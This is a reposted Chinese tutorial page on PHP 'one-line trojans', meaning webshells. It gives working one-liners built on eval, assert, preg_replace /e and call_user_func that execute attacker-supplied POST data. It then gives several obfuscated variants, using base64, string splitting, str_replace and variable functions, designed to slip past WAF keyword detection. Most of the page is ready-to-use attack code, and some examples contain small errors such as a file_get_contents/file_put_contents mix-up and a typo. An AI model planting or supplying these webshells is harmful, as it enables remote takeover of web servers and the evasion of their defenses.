PHP一句話木馬


PHP一句話木馬:
    1. eval():    <?php @eval($_POST['hacker']); ?>    eval函數將接受的字符串當做代碼執行

    2. assert(): 用法和 eval()一樣

    3. preg_replace(): <?php @preg_replace("/abcd/e",$_POST['hacker'],"abcdefg"); ?>    preg_replace 函數一個參數是一個正則表達式,按照 php的格式,表達式在兩個/之間,如果在表達式末尾加上一個 e,則第二個參數就會被當做 php代碼執行

    4. create_function(): <?php
                                $newfun = create_function('$hacker', 'echo $hacker;');
                                $newfun('woaini');
                        ?>
                        創建了一個匿名函數,並返回了一個獨一無二的函數名

    5. call_user_func(): <?php @call_user_func(eval,$_POST['hacker']); ?>    函數的第一個參數是被調動的函數,剩下的參數(可有多個參數)是被調用函數的參數
       call_user_func_array(): 方法同上,只是第二個參數要是一個數組,作為第一個參數的參數


       還有一些文件操作函數,比如 file_put_contents函數: <?php $test='一句話木馬'; file_get_contents("文件名", $test); ?>
               此函數把一個字符串寫入一個文件中



怎么讓一句話木馬繞過 WAF:
    WAF通常會以關鍵字判斷是否為一句話木馬,所以要將一句話木馬變形使用,從而繞過 waf:
        1. php變量函數:
            <?php
                $a = "assert";
                $a($_POST['hacker']);
            ?>

        2. php可變變量:
            <?php
                $b = "assert";
                $a = 'b';
                $$a($_POST['hacker']);
            ?>

        3. str_replace函數:
            <?php
                $a = str_replace("b", "", "absbsbebrbt");
                $a($_POST['hacker']);
            ?>
            此函數用於將第三個參數中的第一個參數替換為第二個參數

        4. base64_decode 函數:
            <?php
                $a = base64_decode("YXNzZXJ0");
                $a($_POST['hacker']);
            ?>

        5. 使用"."連接字符串:
            <?php
                $b = "a"."ss";
                $c = "er"."t";
                $a = $b.$c;
                $a($_POST['hacker']);
            ?>

        6. pares_str函數:
            <?php
                $str = "a=assert";
                parse_str($str);/parse_str("a=assert");
                $a($_POST['hacker']);
            ?>

最后舉個例子:
            <?php
                function fun(){
                    return $_POST['hacker'];
                }
                @preg_replace("/test/e", fun(), "testtesttest");
            ?>


轉載:https://bbs.ichunqiu.com/thread-26365-1-1.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM